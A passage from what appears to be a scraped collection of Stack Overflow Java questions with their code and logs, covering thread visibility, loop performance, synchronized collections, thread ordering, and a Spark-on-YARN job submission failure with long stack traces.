randomIndex ] reference always contains fully constructed values.What 's wrong ? How to reproduce this ?","public class ReorderingTest { static SomeObject < JPanel > [ ] sharedArray = new SomeObject [ 100 ] ; public static void main ( String [ ] args ) { for ( int i = 0 ; i < 100 ; i++ ) { String name = `` watcher '' + i ; new Thread ( new Watcher ( name ) ) .start ( ) ; System.out.printf ( `` watcher % s started ! % n '' , name ) ; } } static class Watcher implements Runnable { private String name ; Watcher ( String name ) { this.name = name ; } public void run ( ) { while ( true ) { int randomIndex = ( int ) ( Math.random ( ) * sharedArray.length ) ; SomeObject < JPanel > item = sharedArray [ randomIndex ] ; if ( item == null ) { //System.out.printf ( `` sharedArray [ % s ] =null % n '' , randomIndex ) ; double r = 1 + Math.random ( ) * 1000 ; sharedArray [ randomIndex ] = new SomeObject < JPanel > ( new JPanel ( ) , UUID.randomUUID ( ) .toString ( ) , r , ( float ) r * 33 , ( long ) r ) ; } else { //System.out.printf ( `` sharedArray [ % s ] = < obj > ! % n '' , randomIndex ) ; if ( item.value == null || ( item.stringField == null ) || ( item.doubleField == 0 ) || ( item.floatField == 0 ) || ( item.longField == 0 ) ) { System.err.printf ( `` watcher % s sees default values : % s ! % n '' , name , item ) ; } else { // fully initialized ! run new construction process double r = 1 + Math.random ( ) * 1000 ; sharedArray [ randomIndex ] = new SomeObject < JPanel > ( new JPanel ( ) , UUID.randomUUID ( ) .toString ( ) , r , ( float ) r * 37 , ( long ) r ) ; } } /*try { TimeUnit.NANOSECONDS.sleep ( randomIndex ) ; } catch ( InterruptedException e ) { throw new RuntimeException ( e ) ; } */ } } } static class SomeObject < V > { V value ; String stringField ; double doubleField ; float floatField ; long longField ; SomeObject ( V value , String stringField , double doubleField , float floatField , long longField ) { this.value = value ; this.stringField = stringField ; this.doubleField = doubleField ; this.floatField = floatField ; this.longField = longField ; } @ Override public String toString ( ) { return `` SomeObject { `` + `` value= '' + value == null ? `` null '' : `` < obj > '' + `` , stringField= ' '' + stringField + '\ '' + `` , doubleField= '' + doubleField + `` , floatField= '' + floatField + `` , longField= '' + longField + ' } ' ; } } }",jvm reordering/visibility effect test +Java,I have a big problem while evaluate my java code . To simplify the problem I wrote the following code which produce the same curious behavior . Important is the method run ( ) and given double value rate . For my runtime test ( in the main method ) I set the rate to 0.5 one times and 1.0 the other time . With the value 1.0 the if-statement will be executed in each loop iteration and with the value 0.5 the if-statement will be executed half as much . For this reason I expected longer runtime by the first case but opposite is true.Can anybody explain me this phenomenon ? ? The result of main : The Code,"Test mit rate = 0.5Length : 50000000 , IF executions : 25000856Execution time was 4329 ms.Length : 50000000 , IF executions : 24999141Execution time was 4307 ms.Length : 50000000 , IF executions : 25001582Execution time was 4223 ms.Length : 50000000 , IF executions : 25000694Execution time was 4328 ms.Length : 50000000 , IF executions : 25004766Execution time was 4346 ms.=================================Test mit rate = 1.0Length : 50000000 , IF executions : 50000000Execution time was 3482 ms.Length : 50000000 , IF executions : 50000000Execution time was 3572 ms.Length : 50000000 , IF executions : 50000000Execution time was 3529 ms.Length : 50000000 , IF executions : 50000000Execution time was 3479 ms.Length : 50000000 , IF executions : 50000000Execution time was 3473 ms. public ArrayList < Byte > list = new ArrayList < Byte > ( ) ; public final int LENGTH = 50000000 ; public PerformanceTest ( ) { byte [ ] arr = new byte [ LENGTH ] ; Random random = new Random ( ) ; random.nextBytes ( arr ) ; for ( byte b : arr ) list.add ( b ) ; } public void run ( double rate ) { byte b = 0 ; int count = 0 ; for ( int i = 0 ; i < LENGTH ; i++ ) { if ( getRate ( rate ) ) { list.set ( i , b ) ; count++ ; } } System.out.println ( `` Length : `` + LENGTH + `` , IF executions : `` + count ) ; } public boolean getRate ( double rate ) { return Math.random ( ) < rate ; } public static void main ( String [ ] args ) throws InterruptedException { PerformanceTest test = new PerformanceTest ( ) ; long start , end ; System.out.println ( `` Test mit rate = 0.5 '' ) ; for ( int i = 0 ; i < 5 ; i++ ) { start=System.currentTimeMillis ( ) ; test.run ( 0.5 ) ; end = System.currentTimeMillis ( ) ; System.out.println ( `` Execution time was `` + ( end-start ) + '' ms. '' ) ; Thread.sleep ( 500 ) ; } System.out.println ( `` ================================= '' ) ; System.out.println ( `` Test mit rate = 1.0 '' ) ; for ( int i = 0 ; i < 5 ; i++ ) { start=System.currentTimeMillis ( ) ; test.run ( 1.0 ) ; end = System.currentTimeMillis ( ) ; System.out.println ( `` Execution time was `` + ( end-start ) + '' ms. '' ) ; Thread.sleep ( 500 ) ; } }",Java curious Loop Performance +Java,"Is it necessary to use specialized concurrent versions of Java 's Collections data structures ( e.g . CopyOnWriteArrayList vs ArrayList ) if all access to a pair of data structures is always wrapped with the acquisition and release of a lock ( in particular , using a static synchronized method for any modifications to the data structure ) . For example : I know the synchronized method will enforce only one thread at a time performing the updates , but by the time a thread has exited the method , are the other threads guaranteed to see the updated data structures , or do I still need specialized concurrent data structures for that guarantee ? Edit : Here 's a better example of what I 'm trying to do :","public static synchronized Item doIt ( ) { // remove something from data structure 1 // add the removed item to data structure 2 // return removed item } private static final List < Item > A ; private static final HashMap < Integer , Item > B ; public static Item doSomething ( ) { // some stuff ... Item item = doIt ( ) ; // some other stuff ... return item ; } private static synchronized Item doIt ( ) { Item theItem = A.remove ( A.size ( ) -1 ) ; B.put ( theItem.getId ( ) , theItem ) ; return theItem ; }",Will all java threads see shared resource updates after modification in synchronized method ? +Java,"I try to run the example from a book ( Paul Hyde , Java Thread Programming ) . It says that the order of threads will interchange . But I always get : 10 `` Main thread '' prints and 10 `` New thread '' ones afterwards.What is more interesting : if I will use tt.run instead of tt.start then result will be vice versa . Maybe the reason that the book is quite old and examples are base on JDK 1.2 ? ? ? Code is below :",public class TwoThread extends Thread { public void run ( ) { for ( int i = 0 ; i < 10 ; i++ ) { System.out.println ( `` New thread '' ) ; } } public static void main ( String [ ] args ) { TwoThread tt = new TwoThread ( ) ; tt.start ( ) ; for ( int i = 0 ; i < 10 ; i++ ) { System.out.println ( `` Main thread '' ) ; } } },Java . The order of threads execution +Java,"I am currently experimenting with Apache Spark . Everything seems to be working fine in that all the various components are up and running ( i.e . HDFS , Spark , Yarn , etc ) . There do not appear to be any errors during the startup of any of these . I am running this in a Vagrant VM and Spark/HDFS/Yarn are dockerized.tl ; dr : Submitting an job via Yarn results in There are 1 datanode ( s ) running and 1 node ( s ) are excluded in this operation.Submitting my application with : $ spark-submit -- master yarn -- class org.apache.spark.examples.SparkPi -- driver-memory 512m -- executor-memory 512m -- executor-cores 1 /Users/foobar/Downloads/spark-3.0.0-preview2-bin-hadoop3.2/examples/jars/spark-examples_2.12-3.0.0-preview2.jar 10Which results in the following : Note the error Exception in thread `` main '' org.apache.hadoop.ipc.RemoteException ( java.io.IOException ) : File /user/foobar/.sparkStaging/application_1588537985407_0007/__spark_libs__8443981124167043301.zip could only be written to 0 of the 1 minReplication nodes . There are 1 datanode ( s ) running and 1 node ( s ) are excluded in this operation.If I check HDFS while this is happening I see the Spark files have been uploaded : These are subsequently cleaned up when the job fails.On the Spark worker UI I see the following : . The workers are getting spawned and promptly exit ( or are they killed ? ) . There are no logs for stdout for an executor . However in stderr I see the following : Additional config files that may be of importance : core-site.xmlhdfs-site.xmlmapred-site.xmlspark-defaults.confyarn-site.xmlWhy ca n't I submit a job via Yarn ? -- -- - UPDATE -- -- -It seems like I can successfully submit a job from a docker container . For example : docker exec -it spark-master /bin/bashThen in the container : spark-submit -- master yarn -- class org.apache.spark.examples.SparkPi /app/spark/examples/jars/spark-examples_2.12-3.0.0-preview2.jar 10Which eventually gives me : Pi is roughly 3.141983141983142This seems like it might be a networking issue when submitting outside of the container network . Is there anyway to debug this ?","Using Spark 's default log4j profile : org/apache/spark/log4j-defaults.properties20/05/03 17:45:26 INFO SparkContext : Running Spark version 2.4.520/05/03 17:45:26 INFO SparkContext : Submitted application : Spark Pi20/05/03 17:45:26 INFO SecurityManager : Changing view acls to : foobar20/05/03 17:45:26 INFO SecurityManager : Changing modify acls to : foobar20/05/03 17:45:26 INFO SecurityManager : Changing view acls groups to:20/05/03 17:45:26 INFO SecurityManager : Changing modify acls groups to:20/05/03 17:45:26 INFO SecurityManager : SecurityManager : authentication disabled ; ui acls disabled ; users with view permissions : Set ( foobar ) ; groups with view permissions : Set ( ) ; users with modify permissions : Set ( foobar ) ; groups with modify permissions : Set ( ) 20/05/03 17:45:26 INFO Utils : Successfully started service 'sparkDriver ' on port 52142.20/05/03 17:45:26 INFO SparkEnv : Registering MapOutputTracker20/05/03 17:45:27 INFO SparkEnv : Registering BlockManagerMaster20/05/03 17:45:27 INFO BlockManagerMasterEndpoint : Using org.apache.spark.storage.DefaultTopologyMapper for getting topology information20/05/03 17:45:27 INFO BlockManagerMasterEndpoint : BlockManagerMasterEndpoint up20/05/03 17:45:27 INFO DiskBlockManager : Created local directory at /private/var/folders/1x/h0q3vtw17ddbys9bjcf41mtr0000gn/T/blockmgr-1a34b35e-d5c2-4c11-a637-364f86818b1a20/05/03 17:45:27 INFO MemoryStore : MemoryStore started with capacity 93.3 MB20/05/03 17:45:27 INFO SparkEnv : Registering OutputCommitCoordinator20/05/03 17:45:27 INFO Utils : Successfully started service 'SparkUI ' on port 4040.20/05/03 17:45:27 INFO SparkUI : Bound SparkUI to 0.0.0.0 , and started at http : //foobars-mbp.box:404020/05/03 17:45:27 INFO SparkContext : Added JAR file : /Users/foobar/Downloads/spark-3.0.0-preview2-bin-hadoop3.2/examples/jars/spark-examples_2.12-3.0.0-preview2.jar at spark : //foobars-mbp.box:52142/jars/spark-examples_2.12-3.0.0-preview2.jar with timestamp 158854592720820/05/03 17:45:27 INFO RMProxy : Connecting to ResourceManager at /0.0.0.0:803220/05/03 17:45:27 INFO Client : Requesting a new application from cluster with 1 NodeManagers20/05/03 17:45:27 INFO Client : Verifying our application has not requested more than the maximum memory capability of the cluster ( 8192 MB per container ) 20/05/03 17:45:27 INFO Client : Will allocate AM container , with 896 MB memory including 384 MB overhead20/05/03 17:45:27 INFO Client : Setting up container launch context for our AM20/05/03 17:45:27 INFO Client : Setting up the launch environment for our AM container20/05/03 17:45:27 INFO Client : Preparing resources for our AM container20/05/03 17:45:27 WARN Client : Neither spark.yarn.jars nor spark.yarn.archive is set , falling back to uploading libraries under SPARK_HOME.20/05/03 17:45:29 INFO Client : Uploading resource file : /private/var/folders/1x/h0q3vtw17ddbys9bjcf41mtr0000gn/T/spark-5467a437-f3e2-4c23-9a15-9051aa89e222/__spark_libs__8443981124167043301.zip - > hdfs : //0.0.0.0:9000/user/foobar/.sparkStaging/application_1588537985407_0007/__spark_libs__8443981124167043301.zip20/05/03 17:46:29 INFO DFSClient : Exception in createBlockOutputStreamorg.apache.hadoop.net.ConnectTimeoutException : 60000 millis timeout while waiting for channel to be ready for connect . ch : java.nio.channels.SocketChannel [ connection-pending remote=/192.168.16.6:9866 ] at org.apache.hadoop.net.NetUtils.connect ( NetUtils.java:534 ) at org.apache.hadoop.hdfs.DFSOutputStream.createSocketForPipeline ( DFSOutputStream.java:1533 ) at org.apache.hadoop.hdfs.DFSOutputStream $ DataStreamer.createBlockOutputStream ( DFSOutputStream.java:1309 ) at org.apache.hadoop.hdfs.DFSOutputStream $ DataStreamer.nextBlockOutputStream ( DFSOutputStream.java:1262 ) at org.apache.hadoop.hdfs.DFSOutputStream $ DataStreamer.run ( DFSOutputStream.java:448 ) 20/05/03 17:46:29 INFO DFSClient : Abandoning BP-1700972659-172.30.0.2-1588486994156 : blk_1073741833_100920/05/03 17:46:29 INFO DFSClient : Excluding datanode DatanodeInfoWithStorage [ 192.168.16.6:9866 , DS-6d0dcfb4-265a-4a8f-a86c-35fcc6e8ca70 , DISK ] 20/05/03 17:46:29 WARN DFSClient : DataStreamer Exceptionorg.apache.hadoop.ipc.RemoteException ( java.io.IOException ) : File /user/foobar/.sparkStaging/application_1588537985407_0007/__spark_libs__8443981124167043301.zip could only be written to 0 of the 1 minReplication nodes . There are 1 datanode ( s ) running and 1 node ( s ) are excluded in this operation . at org.apache.hadoop.hdfs.server.blockmanagement.BlockManager.chooseTarget4NewBlock ( BlockManager.java:2121 ) at org.apache.hadoop.hdfs.server.namenode.FSDirWriteFileOp.chooseTargetForNewBlock ( FSDirWriteFileOp.java:295 ) at org.apache.hadoop.hdfs.server.namenode.FSNamesystem.getAdditionalBlock ( FSNamesystem.java:2702 ) at org.apache.hadoop.hdfs.server.namenode.NameNodeRpcServer.addBlock ( NameNodeRpcServer.java:875 ) at org.apache.hadoop.hdfs.protocolPB.ClientNamenodeProtocolServerSideTranslatorPB.addBlock ( ClientNamenodeProtocolServerSideTranslatorPB.java:561 ) at org.apache.hadoop.hdfs.protocol.proto.ClientNamenodeProtocolProtos $ ClientNamenodeProtocol $ 2.callBlockingMethod ( ClientNamenodeProtocolProtos.java ) at org.apache.hadoop.ipc.ProtobufRpcEngine $ Server $ ProtoBufRpcInvoker.call ( ProtobufRpcEngine.java:523 ) at org.apache.hadoop.ipc.RPC $ Server.call ( RPC.java:991 ) at org.apache.hadoop.ipc.Server $ RpcCall.run ( Server.java:872 ) at org.apache.hadoop.ipc.Server $ RpcCall.run ( Server.java:818 ) at java.security.AccessController.doPrivileged ( Native Method ) at javax.security.auth.Subject.doAs ( Subject.java:422 ) at org.apache.hadoop.security.UserGroupInformation.doAs ( UserGroupInformation.java:1729 ) at org.apache.hadoop.ipc.Server $ Handler.run ( Server.java:2678 ) at org.apache.hadoop.ipc.Client.call ( Client.java:1475 ) at org.apache.hadoop.ipc.Client.call ( Client.java:1412 ) at org.apache.hadoop.ipc.ProtobufRpcEngine $ Invoker.invoke ( ProtobufRpcEngine.java:229 ) at com.sun.proxy. $ Proxy13.addBlock ( Unknown Source ) at org.apache.hadoop.hdfs.protocolPB.ClientNamenodeProtocolTranslatorPB.addBlock ( ClientNamenodeProtocolTranslatorPB.java:418 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:498 ) at org.apache.hadoop.io.retry.RetryInvocationHandler.invokeMethod ( RetryInvocationHandler.java:191 ) at org.apache.hadoop.io.retry.RetryInvocationHandler.invoke ( RetryInvocationHandler.java:102 ) at com.sun.proxy. $ Proxy14.addBlock ( Unknown Source ) at org.apache.hadoop.hdfs.DFSOutputStream $ DataStreamer.locateFollowingBlock ( DFSOutputStream.java:1455 ) at org.apache.hadoop.hdfs.DFSOutputStream $ DataStreamer.nextBlockOutputStream ( DFSOutputStream.java:1251 ) at org.apache.hadoop.hdfs.DFSOutputStream $ DataStreamer.run ( DFSOutputStream.java:448 ) 20/05/03 17:46:29 INFO Client : Deleted staging directory hdfs : //0.0.0.0:9000/user/foobar/.sparkStaging/application_1588537985407_000720/05/03 17:46:29 ERROR SparkContext : Error initializing SparkContext.org.apache.hadoop.ipc.RemoteException ( java.io.IOException ) : File /user/foobar/.sparkStaging/application_1588537985407_0007/__spark_libs__8443981124167043301.zip could only be written to 0 of the 1 minReplication nodes . There are 1 datanode ( s ) running and 1 node ( s ) are excluded in this operation . at org.apache.hadoop.hdfs.server.blockmanagement.BlockManager.chooseTarget4NewBlock ( BlockManager.java:2121 ) at org.apache.hadoop.hdfs.server.namenode.FSDirWriteFileOp.chooseTargetForNewBlock ( FSDirWriteFileOp.java:295 ) at org.apache.hadoop.hdfs.server.namenode.FSNamesystem.getAdditionalBlock ( FSNamesystem.java:2702 ) at org.apache.hadoop.hdfs.server.namenode.NameNodeRpcServer.addBlock ( NameNodeRpcServer.java:875 ) at org.apache.hadoop.hdfs.protocolPB.ClientNamenodeProtocolServerSideTranslatorPB.addBlock ( ClientNamenodeProtocolServerSideTranslatorPB.java:561 ) at org.apache.hadoop.hdfs.protocol.proto.ClientNamenodeProtocolProtos $ ClientNamenodeProtocol $ 2.callBlockingMethod ( ClientNamenodeProtocolProtos.java ) at org.apache.hadoop.ipc.ProtobufRpcEngine $ Server $ ProtoBufRpcInvoker.call ( ProtobufRpcEngine.java:523 ) at org.apache.hadoop.ipc.RPC $ Server.call ( RPC.java:991 ) at org.apache.hadoop.ipc.Server $ RpcCall.run ( Server.java:872 ) at org.apache.hadoop.ipc.Server $ RpcCall.run ( Server.java:818 ) at java.security.AccessController.doPrivileged ( Native Method ) at javax.security.auth.Subject.doAs ( Subject.java:422 ) at org.apache.hadoop.security.UserGroupInformation.doAs ( UserGroupInformation.java:1729 ) at org.apache.hadoop.ipc.Server $ Handler.run ( Server.java:2678 ) at org.apache.hadoop.ipc.Client.call ( Client.java:1475 ) at org.apache.hadoop.ipc.Client.call ( Client.java:1412 ) at org.apache.hadoop.ipc.ProtobufRpcEngine $ Invoker.invoke ( ProtobufRpcEngine.java:229 ) at com.sun.proxy. $ Proxy13.addBlock ( Unknown Source ) at org.apache.hadoop.hdfs.protocolPB.ClientNamenodeProtocolTranslatorPB.addBlock ( ClientNamenodeProtocolTranslatorPB.java:418 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:498 ) at org.apache.hadoop.io.retry.RetryInvocationHandler.invokeMethod ( RetryInvocationHandler.java:191 ) at org.apache.hadoop.io.retry.RetryInvocationHandler.invoke ( RetryInvocationHandler.java:102 ) at com.sun.proxy. $ Proxy14.addBlock ( Unknown Source ) at org.apache.hadoop.hdfs.DFSOutputStream $ DataStreamer.locateFollowingBlock ( DFSOutputStream.java:1455 ) at org.apache.hadoop.hdfs.DFSOutputStream $ DataStreamer.nextBlockOutputStream ( DFSOutputStream.java:1251 ) at org.apache.hadoop.hdfs.DFSOutputStream $ DataStreamer.run ( DFSOutputStream.java:448 ) 20/05/03 17:46:29 INFO SparkUI : Stopped Spark web UI at http : //foobars-mbp.box:404020/05/03 17:46:29 WARN YarnSchedulerBackend $ YarnSchedulerEndpoint : Attempted to request executors before the AM has registered ! 20/05/03 17:46:29 INFO YarnClientSchedulerBackend : Stopped20/05/03 17:46:29 INFO MapOutputTrackerMasterEndpoint : MapOutputTrackerMasterEndpoint stopped ! 20/05/03 17:46:29 INFO MemoryStore : MemoryStore cleared20/05/03 17:46:29 INFO BlockManager : BlockManager stopped20/05/03 17:46:29 INFO BlockManagerMaster : BlockManagerMaster stopped20/05/03 17:46:29 WARN MetricsSystem : Stopping a MetricsSystem that is not running20/05/03 17:46:29 INFO OutputCommitCoordinator $ OutputCommitCoordinatorEndpoint : OutputCommitCoordinator stopped ! 20/05/03 17:46:29 INFO SparkContext : Successfully stopped SparkContextException in thread `` main '' org.apache.hadoop.ipc.RemoteException ( java.io.IOException ) : File /user/foobar/.sparkStaging/application_1588537985407_0007/__spark_libs__8443981124167043301.zip could only be written to 0 of the 1 minReplication nodes . There are 1 datanode ( s ) running and 1 node ( s ) are excluded in this operation . at org.apache.hadoop.hdfs.server.blockmanagement.BlockManager.chooseTarget4NewBlock ( BlockManager.java:2121 ) at org.apache.hadoop.hdfs.server.namenode.FSDirWriteFileOp.chooseTargetForNewBlock ( FSDirWriteFileOp.java:295 ) at org.apache.hadoop.hdfs.server.namenode.FSNamesystem.getAdditionalBlock ( FSNamesystem.java:2702 ) at org.apache.hadoop.hdfs.server.namenode.NameNodeRpcServer.addBlock ( NameNodeRpcServer.java:875 ) at org.apache.hadoop.hdfs.protocolPB.ClientNamenodeProtocolServerSideTranslatorPB.addBlock ( ClientNamenodeProtocolServerSideTranslatorPB.java:561 ) at org.apache.hadoop.hdfs.protocol.proto.ClientNamenodeProtocolProtos $ ClientNamenodeProtocol $ 2.callBlockingMethod ( ClientNamenodeProtocolProtos.java ) at org.apache.hadoop.ipc.ProtobufRpcEngine $ Server $ ProtoBufRpcInvoker.call ( ProtobufRpcEngine.java:523 ) at org.apache.hadoop.ipc.RPC $ Server.call ( RPC.java:991 ) at org.apache.hadoop.ipc.Server $ RpcCall.run ( Server.java:872 ) at org.apache.hadoop.ipc.Server $ RpcCall.run ( Server.java:818 ) at java.security.AccessController.doPrivileged ( Native Method ) at javax.security.auth.Subject.doAs ( Subject.java:422 ) at org.apache.hadoop.security.UserGroupInformation.doAs ( UserGroupInformation.java:1729 ) at org.apache.hadoop.ipc.Server $ Handler.run ( Server.java:2678 ) at org.apache.hadoop.ipc.Client.call ( Client.java:1475 ) at org.apache.hadoop.ipc.Client.call ( Client.java:1412 ) at org.apache.hadoop.ipc.ProtobufRpcEngine $ Invoker.invoke ( ProtobufRpcEngine.java:229 ) at com.sun.proxy. $ Proxy13.addBlock ( Unknown Source ) at org.apache.hadoop.hdfs.protocolPB.ClientNamenodeProtocolTranslatorPB.addBlock ( ClientNamenodeProtocolTranslatorPB.java:418 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:498 ) at org.apache.hadoop.io.retry.RetryInvocationHandler.invokeMethod ( RetryInvocationHandler.java:191 ) at org.apache.hadoop.io.retry.RetryInvocationHandler.invoke ( RetryInvocationHandler.java:102 ) at com.sun.proxy. $ Proxy14.addBlock ( Unknown Source ) at org.apache.hadoop.hdfs.DFSOutputStream $ DataStreamer.locateFollowingBlock ( DFSOutputStream.java:1455 ) at org.apache.hadoop.hdfs.DFSOutputStream $ DataStreamer.nextBlockOutputStream ( DFSOutputStream.java:1251 ) at org.apache.hadoop.hdfs.DFSOutputStream $ DataStreamer.run ( DFSOutputStream.java:448 ) 20/05/03 17:46:29 INFO ShutdownHookManager : Shutdown hook called20/05/03 17:46:29 INFO ShutdownHookManager : Deleting directory /private/var/folders/1x/h0q3vtw17ddbys9bjcf41mtr0000gn/T/spark-e77adcce-715f-43d1-a01e-d4141349ed1320/05/03 17:46:29 INFO ShutdownHookManager : Deleting directory /private/var/folders/1x/h0q3vtw17ddbys9bjcf41mtr0000gn/T/spark-5467a437-f3e2-4c23-9a15-9051aa89e222 hdfs @ 243579e354c0 : /app $ hadoop fs -ls /user/foobar/.sparkStagingWARNING : log4j.properties is not found . HADOOP_CONF_DIR may be incomplete.Found 2 itemsdrwx -- -- -- - foobar hadoop 0 2020-05-03 22:43 /user/foobar/.sparkStaging/application_1588537985407_0006drwx -- -- -- - foobar hadoop 0 2020-05-03 22:45 /user/foobar/.sparkStaging/application_1588537985407_0007 Spark Executor Command : `` /usr/local/openjdk-8/bin/java '' `` -cp '' `` /app/config/ : /app/spark/jars/* '' `` -Xmx1024M '' `` -Dspark.driver.port=51462 '' `` org.apache.spark.executor.CoarseGrainedExecutorBackend '' `` -- driver-url '' `` spark : //CoarseGrainedScheduler @ foobars-mbp.box:51462 '' `` -- executor-id '' `` 0 '' `` -- hostname '' `` 192.168.16.10 '' `` -- cores '' `` 8 '' `` -- app-id '' `` app-20200503204833-0000 '' `` -- worker-url '' `` spark : //Worker @ 192.168.16.10:41839 '' ========================================Using Spark 's default log4j profile : org/apache/spark/log4j-defaults.properties20/05/03 20:48:34 INFO CoarseGrainedExecutorBackend : Started daemon with process name : 84 @ ad4c05fe6b8a20/05/03 20:48:34 INFO SignalUtils : Registered signal handler for TERM20/05/03 20:48:34 INFO SignalUtils : Registered signal handler for HUP20/05/03 20:48:34 INFO SignalUtils : Registered signal handler for INT20/05/03 20:48:35 WARN NativeCodeLoader : Unable to load native-hadoop library for your platform ... using builtin-java classes where applicable20/05/03 20:48:35 INFO SecurityManager : Changing view acls to : hdfs , foobar20/05/03 20:48:35 INFO SecurityManager : Changing modify acls to : hdfs , foobar20/05/03 20:48:35 INFO SecurityManager : Changing view acls groups to:20/05/03 20:48:35 INFO SecurityManager : Changing modify acls groups to:20/05/03 20:48:35 INFO SecurityManager : SecurityManager : authentication disabled ; ui acls disabled ; users with view permissions : Set ( hdfs , foobar ) ; groups with view permissions : Set ( ) ; users with modify permissions : Set ( hdfs , foobar ) ; groups with modify permissions : Set ( ) Exception in thread `` main '' java.lang.reflect.UndeclaredThrowableException at org.apache.hadoop.security.UserGroupInformation.doAs ( UserGroupInformation.java:1748 ) at org.apache.spark.deploy.SparkHadoopUtil.runAsSparkUser ( SparkHadoopUtil.scala:61 ) at org.apache.spark.executor.CoarseGrainedExecutorBackend $ .run ( CoarseGrainedExecutorBackend.scala:257 ) at org.apache.spark.executor.CoarseGrainedExecutorBackend $ .main ( CoarseGrainedExecutorBackend.scala:247 ) at org.apache.spark.executor.CoarseGrainedExecutorBackend.main ( CoarseGrainedExecutorBackend.scala ) Caused by : org.apache.spark.SparkException : Exception thrown in awaitResult : at org.apache.spark.util.ThreadUtils $ .awaitResult ( ThreadUtils.scala:227 ) at org.apache.spark.rpc.RpcTimeout.awaitResult ( RpcTimeout.scala:75 ) at org.apache.spark.rpc.RpcEnv.setupEndpointRefByURI ( RpcEnv.scala:101 ) at org.apache.spark.executor.CoarseGrainedExecutorBackend $ . $ anonfun $ run $ 3 ( CoarseGrainedExecutorBackend.scala:277 ) at scala.runtime.java8.JFunction1 $ mcVI $ sp.apply ( JFunction1 $ mcVI $ sp.java:23 ) at scala.collection.TraversableLike $ WithFilter. $ anonfun $ foreach $ 1 ( TraversableLike.scala:877 ) at scala.collection.immutable.Range.foreach ( Range.scala:158 ) at scala.collection.TraversableLike $ WithFilter.foreach ( TraversableLike.scala:876 ) at org.apache.spark.executor.CoarseGrainedExecutorBackend $ . $ anonfun $ run $ 1 ( CoarseGrainedExecutorBackend.scala:275 ) at org.apache.spark.deploy.SparkHadoopUtil $ $ anon $ 1.run ( SparkHadoopUtil.scala:62 ) at org.apache.spark.deploy.SparkHadoopUtil $ $ anon $ 1.run ( SparkHadoopUtil.scala:61 ) at java.security.AccessController.doPrivileged ( Native Method ) at javax.security.auth.Subject.doAs ( Subject.java:422 ) at org.apache.hadoop.security.UserGroupInformation.doAs ( UserGroupInformation.java:1730 ) ... 4 moreCaused by : java.io.IOException : Failed to connect to foobars-mbp.box:51462 at org.apache.spark.network.client.TransportClientFactory.createClient ( TransportClientFactory.java:253 ) at org.apache.spark.network.client.TransportClientFactory.createClient ( TransportClientFactory.java:195 ) at org.apache.spark.rpc.netty.NettyRpcEnv.createClient ( NettyRpcEnv.scala:204 ) at org.apache.spark.rpc.netty.Outbox $ $ anon $ 1.call ( Outbox.scala:202 ) at org.apache.spark.rpc.netty.Outbox $ $ anon $ 1.call ( Outbox.scala:198 ) at java.util.concurrent.FutureTask.run ( FutureTask.java:266 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1149 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:624 ) at java.lang.Thread.run ( Thread.java:748 ) Caused by : java.net.UnknownHostException : foobars-mbp.box at java.net.InetAddress.getAllByName0 ( InetAddress.java:1281 ) at java.net.InetAddress.getAllByName ( InetAddress.java:1193 ) at java.net.InetAddress.getAllByName ( InetAddress.java:1127 ) at java.net.InetAddress.getByName ( InetAddress.java:1077 ) at io.netty.util.internal.SocketUtils $ 8.run ( SocketUtils.java:146 ) at io.netty.util.internal.SocketUtils $ 8.run ( SocketUtils.java:143 ) at java.security.AccessController.doPrivileged ( Native Method ) at io.netty.util.internal.SocketUtils.addressByName ( SocketUtils.java:143 ) at io.netty.resolver.DefaultNameResolver.doResolve ( DefaultNameResolver.java:43 ) at io.netty.resolver.SimpleNameResolver.resolve ( SimpleNameResolver.java:63 ) at io.netty.resolver.SimpleNameResolver.resolve ( SimpleNameResolver.java:55 ) at io.netty.resolver.InetSocketAddressResolver.doResolve ( InetSocketAddressResolver.java:57 ) at io.netty.resolver.InetSocketAddressResolver.doResolve ( InetSocketAddressResolver.java:32 ) at io.netty.resolver.AbstractAddressResolver.resolve ( AbstractAddressResolver.java:108 ) at io.netty.bootstrap.Bootstrap.doResolveAndConnect0 ( Bootstrap.java:202 ) at io.netty.bootstrap.Bootstrap.access $ 000 ( Bootstrap.java:48 ) at io.netty.bootstrap.Bootstrap $ 1.operationComplete ( Bootstrap.java:182 ) at io.netty.bootstrap.Bootstrap $ 1.operationComplete ( Bootstrap.java:168 ) at io.netty.util.concurrent.DefaultPromise.notifyListener0 ( DefaultPromise.java:577 ) at io.netty.util.concurrent.DefaultPromise.notifyListenersNow ( DefaultPromise.java:551 ) at io.netty.util.concurrent.DefaultPromise.notifyListeners ( DefaultPromise.java:490 ) at io.netty.util.concurrent.DefaultPromise.setValue0 ( DefaultPromise.java:615 ) at io.netty.util.concurrent.DefaultPromise.setSuccess0 ( DefaultPromise.java:604 ) at io.netty.util.concurrent.DefaultPromise.trySuccess ( DefaultPromise.java:104 ) at io.netty.channel.DefaultChannelPromise.trySuccess ( DefaultChannelPromise.java:84 ) at io.netty.channel.AbstractChannel $ AbstractUnsafe.safeSetSuccess ( AbstractChannel.java:985 ) at io.netty.channel.AbstractChannel $ AbstractUnsafe.register0 ( AbstractChannel.java:505 ) at io.netty.channel.AbstractChannel $ AbstractUnsafe.access $ 200 ( AbstractChannel.java:416 ) at io.netty.channel.AbstractChannel $ AbstractUnsafe $ 1.run ( AbstractChannel.java:475 ) at io.netty.util.concurrent.AbstractEventExecutor.safeExecute ( AbstractEventExecutor.java:163 ) at io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks ( SingleThreadEventExecutor.java:510 ) at io.netty.channel.nio.NioEventLoop.run ( NioEventLoop.java:518 ) at 